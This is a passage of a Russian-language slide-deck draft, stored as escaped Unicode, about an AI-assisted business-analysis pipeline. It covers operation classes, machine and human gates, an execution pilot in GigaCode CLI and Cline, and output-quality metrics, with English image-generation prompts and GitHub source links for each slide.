\u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435:** \u0440\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u043d\u0430 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445\\n  \u043a\u043b\u0430\u0441\u0441\u043e\u0432. \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0432\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n- \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0432\u044b\u0431\u043e\u0440 \u2014 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **Fail-closed:** \u043d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\\n  \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n\\n> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\\n> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\\n> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u00ab\u043a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u2192 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u2192\\n\u0440\u0438\u0441\u043a\u00bb (5 \u0441\u0442\u0440\u043e\u043a).\\n\\n| \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c | \u0420\u0438\u0441\u043a \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f |\\n| --- | --- | --- |\\n| \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 | \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c | \u043f\u0440\u043e\u043f\u0443\u0441\u043a |\\n| \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 | \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u043e\u0442\u0435\u0440\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 |\\n| \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n| \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0441\u0445\u0435\u043c\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 | \u043b\u043e\u0436\u043d\u043e\u0435 \u00ab\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u00bb |\\n| \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA human brain rendered as a loose, glowing nebula on the left; on the\\nright the same energy is split into five precise crystalline modules,\\neach sealed inside its own transparent inspection chamber with a\\nclosed lock that only opens when a checklist lights up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u0435 \u00ab\u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md),\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0411\u043b\u043e\u043a 5. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c.**\\n\\n1. **\u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f:** \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443\\n   `C-IN`; \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n2. **\u0421\u0432\u0435\u0440\u043a\u0430:** \u0444\u0430\u043a\u0442\u044b \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438 \u043a\u0435\u0439\u0441\u0430\u043c; \u043d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u0438\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f\u043c\u0438.\\n3. **\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443:** \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f\\n   API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438 \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430; \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n   \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n4. **\u0413\u0435\u0439\u0442\u044b:** `G-mach` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, `G-human` \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\\n   \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435 \u0432\u044b\u0431\u043e\u0440\u044b.\\n5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f:** \u043e\u0434\u0438\u043d \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432\\n   \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** \u0434\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439\\n> Release \u2014 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d.\\n\\n**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432:**\\n\\n| \u042d\u0442\u0430\u043f | \u0421\u0442\u0430\u0442\u0443\u0441 |\\n| --- | --- |\\n| \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\\n| `G-mach`, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release | \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e |\\n| `G-human` | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0435\u0441\u0442\u044c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 |\\n| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA clean horizontal production line: raw crumpled requests enter on the\\nleft, pass a sorting station, a library shelf where each item is\\nstamped with a source tag, a golden mould that shapes identical\\ndocuments, a machine scanner gate, a human inspector's desk, and exit\\non the right as four neatly labelled output trays.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 BCREQ](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[RFC Working \u2192 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden),\\n[\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0413-16 \u043e \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c\u0435 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0411\u043b\u043e\u043a 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.**\\n\\n- **\u0421\u0435\u0439\u0447\u0430\u0441:** \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0410\u0420\u041c \u0411\u0410 \u2014 GigaCode CLI \u0438 Cline + Mango AI.\\n  \u041e\u0434\u0438\u043d Source, \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430.\\n- **\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b:** \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b\\n  \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432 Cline \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c.\\n- **\u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430:** \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430.\\n- **\u0412\u0435\u043a\u0442\u043e\u0440:** runner \u043d\u0430 \u0410\u0420\u041c \u043a\u0430\u043a \u043b\u0438\u0434\u0435\u0440, \u0437\u0430\u0442\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0421\u0440\u0435\u0434\u0430 4 \u2014 \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e\\n  \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0438\u0441: \u0441\u0432\u043e\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0445\u0435\u0448\u0435\u0439, Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API.\\n\\n> **\u041f\u0440\u0438\u043d\u0446\u0438\u043f:** \u0430\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c\\n> (\u00abown your control flow\u00bb).\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0434\u0432\u0435 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u00ab\u0410\u0420\u041c \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u00bb \u0438 \u00ab\u0421\u0440\u0435\u0434\u0430 4\u00bb; \u043e\u0431\u0449\u0438\u0439\\n\u0431\u043b\u043e\u043a \u044f\u0434\u0440\u0430 runner \u043f\u043e \u0446\u0435\u043d\u0442\u0440\u0443.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nOn the left a single analyst's desk with a laptop and a small engine\\nblock glowing on it; an arrow leads to the right where the very same\\nengine block is installed at the centre of a compact server room,\\nnow connected by clean cables to several desks and a secure vault.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[ADR-017: Source \u2192 Distribution \u2192 Runtime](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[ADR-018: \u0433\u0440\u0430\u043d\u0438\u0446\u0430 GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md),\\n[ADR-019: \u043f\u0438\u043b\u043e\u0442 Cline + Mango AI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0411\u043b\u043e\u043a 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0438 \u0441\u043b\u0435\u0434\u043e\u043c \u0434\u043e\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0433\u043b\u0430\u0437: `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, `M-2`\\n  \u043e\u0442\u043a\u0430\u0437\u044b `G-mach`, `M-3` \u043f\u0440\u0430\u0432\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 = 100%.\\n- \u041a\u0430\u0436\u0434\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u043d\u043e\u0440\u043c\u044b, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441\\n  \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n> **\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f:** \u0441\u0440\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u0435\u043d, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u044b\u0448\u0435\\n> \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 0.0 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442\\n> \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0432\u043e\u0440\u043e\u043d\u043a\u0430 \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u043b\u0438\u043d\u0438\u0438 \u2192 \u043e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u2192\\n\u0421\u0410 / \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 / 